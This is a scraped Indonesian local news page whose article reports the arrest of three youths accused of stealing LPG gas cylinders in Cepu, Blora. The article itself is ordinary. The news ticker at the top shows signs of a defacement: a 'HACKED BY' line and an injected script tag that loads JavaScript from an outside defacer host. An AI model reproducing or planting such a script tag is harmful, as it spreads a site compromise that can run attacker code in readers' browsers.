News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
3 Pemuda Spesialis Pencuri Tabung LPG, Diamankan Polsek Cepu Blora

3 Pemuda Spesialis Pencuri Tabung LPG, Diamankan Polsek Cepu Blora

Blora - Sebanyak 3 orang pemuda, warga Kecamatan Cepu Kabupaten Blora, pada Minggu (18/10/2020), berhasil diamankan oleh anggota jajaran Unit Reskrim Polsek Cepu Polres Blora, lantaran diduga telah melakukan tindak pidana pencurian tabung elpiji (LPG), yang telah melancarkan aksinya di 7 tempat yang berbeda, dengan jumlah total tabung elpiji yang dicuri sebanyak 30 tabung ukuran 3 kilogram.
 
 
Ketiga pemuda tersebut berinisial AMW (25), HDP (23), dan ABY (17) yang masih dibawah umur, ditangkap petugas setelah dilaporkan oleh korbannya, Ngatemi (41) warga Kelurahan Karangboyo kecamatan Cepu, di mana pada Sabtu (14/03/2020) lalu telah terjadi pencurian di toko kelontong miliknya yang berada sekitar 200 meter dari rumahnya.
 
Saat itu, korban hendak membuka tokonya, namun korban menemukan pintu rolling door bagian depan terbuka dan setelah di cek ternyata toko korban telah disatroni pencuri yang berhasil membawa kabur 6 tabung gas LPG ukuran 3 kilogram, serta rokok berbagai merek yang berada di estalase toko. Atas kejadian tersebut korban mengalami kerugian hingga 2 juta lebih.
 
Kapolsek Cepu AKP Agus Budiana SH, kepada awak media ini Selasa (20/10/2020) menjelaskan bahwa setelah menerima laporan, pihaknya segera melakukan penyelidikan hingga akhirnya anggota jajarannya berhasil mengamankan ketiga pelaku pada Minggu (18/10/2020).
 
"Setelah melakukan penyelidikan akhirnya terduga pelaku berhasil kita amankan Minggu 18 Oktober 2020 di rumah masing masing," ucap Kapolsek AKP Agus Budiana, Selasa, (20/10/2020).
 
 
 
Sebelum melakukan pencurian di toko milik Ngatemi, kepada petugas pelaku mengaku telah melakukan pencurian di enam lokasi berbeda yaitu di warung HENGKY Karangboyo Cepu pelaku berhasil menggondol 17 tabung gas LPG 3 kilogram, di warung sekitar lapangan Ronggolawe Cepu pelaku berhasil membawa 2 tabung gas LPG 3 kilogram, di Ruko Mulyorejo Cepu pelaku berhasil mencuri 2 tabung gas LPG 3 kilogram dan uang Rp 500.000, serta di salah satu warung bakso di kecamatan Kedungtuban pelaku berhasil mencuri 1 tabung gas LPG 3 kilogram dan 1 buah kompor gas dan di warung depan SKK migas Cepu pelaku berhasil mencuri 1 buah alat pres minuman. Serta di warung pangkalan Wonorejo Cepu, pelaku berhasil mencuri 2 tabung gas LPG 3 kilogram.
 
"Jadi total dari Tujuh TKP tersebut pelaku telah berhasil mencuri 30 tabung gas LPG 3 kilogram," kata Kapolsek
 
 
 
Selain mengamankan ketiga pelaku, polisi juga berhasil mengamankan barang bukti berupa 16 tabung gas LPG 3 kilogram, serta 2 unit sepeda motor yang diduga dijadikan sebagai sarana untuk melakukan tindak pidana pencurian tersebut.
Kapolsek menambahkan, untuk terduga pelaku ABY proses penyidikan dilimpahkan kepada Unit PPA Satreskrim Polres Blora dikarenakan masih di bawah umur.
 
"Untuk mempertanggungjawabkan perbuatannya pelaku dijerat pasal 363 KUHP dengan ancaman pidana maksimal 5 tahun penjara," kata AKP Agus Budiana. (teg/imm)
 
Berita Terkait
1783867524.3511 at start, 1783867525.5379 at end, 1.1867129802704 sec elapsed